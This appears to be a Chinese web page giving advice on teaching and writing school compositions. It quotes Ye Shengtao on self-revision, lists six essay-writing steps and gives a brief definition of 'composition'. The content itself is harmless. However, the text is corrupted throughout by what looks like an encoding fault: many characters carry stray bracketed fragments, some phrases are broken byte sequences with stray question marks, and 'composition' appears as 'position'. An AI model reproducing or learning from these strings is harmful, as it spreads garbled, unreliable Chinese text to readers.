葉圣陶先生說過：“作文教學(xué)的目的是能使學(xué)生自能作文，不待師改。”因此，教師要教會(huì)學(xué)生正確運(yùn)用修改符號(hào)修改作文，如要教會(huì)學(xué)生“增”，即增加字、詞、句、段，要教會(huì)學(xué)生“刪”，即刪去多余的部分，要教會(huì)學(xué)生“調(diào)”，即調(diào)換詞句的位置，要教會(huì)學(xué)生“換”，即把用得不恰當(dāng)?shù)脑~句換掉。

評(píng)論

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寫作大致可以分成以下6個(gè)步驟:

1.分析作文的主題。仔細(xì)檢查給定的作文命題或題目。主題中通常有一個(gè)或多個(gè)核心詞。這就是題眼。這一步非常重要。在理解了主題的含義之后，你才不會(huì)離題。

2.確定文章的中心思想?？纯唇o定的主題或命題。一定要確定要表達(dá)的主題是什么。此外，你的觀點(diǎn)不能模棱兩可。否則，這篇文章會(huì)離題或者一團(tuán)糟。

3.確定風(fēng)格，一方面與給定的主題相結(jié)合，另一方面與個(gè)人專長(zhǎng)相結(jié)合。例如，我擅長(zhǎng)議論文和議論性散文。我寫敘述性文章很容易寫成流水賬。因此，在寫作之前，你必須看看這篇文章適合什么風(fēng)格，并且必須看看自己的特點(diǎn)。

4.梳理文章的材料，無論是考場(chǎng)作文還是平時(shí)的作文練習(xí)，寫作時(shí)，沒有墨水就寫不出好作文。在這一點(diǎn)上，一方面，你需要在平時(shí)廣泛閱讀，積累知識(shí)和材料，然后才能在考試中獲得靈感。另一方面，寫作文之前，最好把可能用到的素材分類、排序，整理出有效素材；

5 .在起草大綱之前，老師會(huì)要求我們?cè)谖恼虑懊鎸懘缶V，并將段落的順序與寫作前要寫的內(nèi)容聯(lián)系起來。只有這樣，我們才不會(huì)語無倫次。

6 .準(zhǔn)備好以上步驟后，請(qǐng)快速寫作！

最后檢查并潤(rùn)飾文字，避免錯(cuò)別字中的低級(jí)錯(cuò)誤；同樣，我們應(yīng)該考慮是否有更漂亮或更合適的表達(dá)方法。我們應(yīng)該仔細(xì)考慮這兩個(gè)同義詞中哪一個(gè)更適合選詞造句。也有必要看看文字是否足夠，全文是否流暢，邏輯是否自然。

拓展資料

作文（position）是經(jīng)過人的思想考慮和語言組織，通過文字來表達(dá)一個(gè)主題意義的記敘方法。作文分為小學(xué)作文、中學(xué)作文、大學(xué)作文（論文）。作文體裁包括：記敘文、說明文、應(yīng)用文、議論文。

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